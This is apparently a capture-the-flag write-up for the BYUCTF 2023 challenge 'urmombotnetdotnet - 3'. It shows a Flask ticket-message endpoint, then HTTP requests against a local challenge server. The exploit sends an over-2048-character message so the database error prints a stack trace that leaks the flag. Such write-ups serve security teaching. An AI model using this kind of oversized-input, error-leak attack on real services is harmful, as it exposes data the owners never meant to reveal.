- Published on
BYUCTF 2023 – urmombotnetdotnet - 3
- Authors
- Name
- Lumy
urmombotnetdotnet - 3 (390 points)
During my databases class, my group and I decided we'd create a web app with the domain urmombotnetdotnet.com, and wrote the relevant code. At first glance, it looks pretty good! I'd say we were pretty thorough. But were we thorough enough??
Oh... we also forgot to make the front end :)
Table of Contents
Source code
# POST add a message to a ticket
@app.route('/api/tickets/<int:ticket_id>', methods=['POST'])
@token_required
def post_add_message(session_data, ticket_id):
# get user_id from ticket_id
cur = mysql.connection.cursor()
cur.execute("SELECT user_id, message FROM support_tickets WHERE ticket_id=%s", (ticket_id,))
response = cur.fetchone()
cur.close()
if not response and session_data['is_staff']:
return jsonify({'message': 'Ticket not found'}), 404
if not response or session_data['user_id'] != response[0]:
return jsonify({'message': 'You do not have permission to access this information'}), 403
# ensure needed parameters are present
if (request.json is None) or ('message' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
message = request.json['message']
# ensure parameters are integers
if type(message) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# byuctf{fakeflag3}
# insert message into database
cur = mysql.connection.cursor()
new_message = response[1] + "\n" + message
cur.execute("UPDATE Support_Tickets SET message=%s WHERE ticket_id=%s", (new_message, ticket_id))
mysql.connection.commit()
cur.close()
response = {"ticket_id": ticket_id, "message": message}
return jsonify(response), 200
Solution
Note : a token is required for this part, that can be retrieved after registration and login.Also, a ticket id can be retrieved with the /api/tickets endpoint in the server response
POST /api/tickets HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
Cookie: token=eyJhbG...
{
"description":"Give_me_a_valid_ticket_id"
}
From the /database/initial.sql file, we can see that there is a maximum length on message parameter :
CREATE TABLE Support_Tickets
(
Ticket_ID SERIAL NOT NULL,
Description VARCHAR(2048) NOT NULL,
Messages VARCHAR(2048) NOT NULL,
Time_stamp VARCHAR(256) NOT NULL,
User_ID BIGINT UNSIGNED NOT NULL,
PRIMARY KEY (Ticket_ID),
FOREIGN KEY (User_ID) REFERENCES User(User_ID)
);
Thus, inserting a value with more than 2048 chars will cause an Internal Server Error with a stacktrace leaking the flag.
With the retrieved valid ticket id (1 in this example), we can insert a value of more than 2048 chars that will give us the flag in the stacktrace:
POST /api/tickets/1 HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
Cookie: token=eyJhbG...
{
"message":"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB..."
}
Flag : byuctf{let’s_not_even_talk_about_the_newline_injection…}